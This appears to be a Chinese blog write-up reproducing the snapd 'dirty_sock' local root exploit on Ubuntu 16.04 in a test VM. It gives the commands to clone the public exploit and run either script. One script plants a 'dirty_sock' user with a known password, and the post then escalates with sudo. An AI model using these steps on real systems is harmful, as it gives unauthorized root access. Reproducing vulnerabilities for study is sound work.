简介
Ubuntu Linux的默认安装`snapd`服务,由于snapd API中的一个错误,任何本地用户都可以利用此漏洞获取对系统的直接root访问权限。
受影响版本
2.37.1以下
测试环境
zzq@zzq-virtual-machine:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.5 LTS
Release: 16.04
Codename: xenial
zzq@zzq-virtual-machine:~$ snap version
snap 2.34.2
snapd 2.34.2
series 16
ubuntu 16.04
kernel 4.15.0-29-generic
zzq@zzq-virtual-machine:~$
python2
图片.png
漏洞复现
- 下载提权使用的exp
zzq@zzq-virtual-machine:~$ git clone https://github.com/initstring/dirty_sock.git
- 进入下载的目录,里面是两个py文件,分别是不同的利用脚本
方式 1:使用dirty_sockv1.py
- 前提条件
1.所在的环境需要能够访问到外部网络。
2.需要ubuntu sso的账号,自行到官网注册,地址:https://login.ubuntu.com/
3.所在的环境需要安装ssh服务
- 下面是我自己注册的账户
- 接下来首先在本地生成公钥
$ ssh-keygen -t rsa -C "<you email>"
图片.png
- 将生成的公钥导入到ubuntu账号SSH keys中
- 最后在本地执行dirty_sockv1.py,执行之前一定要先安装ssh服务
$ python dirty_sockv1.py -u "<your email>" -k "私钥"
图片.png
- 成功执行完毕,再执行
sudo -i
,就成功提权到root
图片.png
方式 2:使用dirty_sockv2.py
- 第2中方法操作简单:无需任何条件,直接执行dirty_sockv2.py即可,执行成功后会创建一个
dirty_sock
用户,密码也为dirty_sock
,如下:
-
接下来先切换到用户
dirty_sock
,密码dirty_sock
,然后再通过sudo -i
提升到root
权限 -
在执行
su dirty_sock
的时候可能会遇到以下情况,No passwd entry for user 'dirty_sock'
不幸的我是遇到了
- 如果遇到此情况按下图操作,查看任务进度,等到doing任务执行完之后再进行尝试,如果仍不行,请使用方法一。
网友评论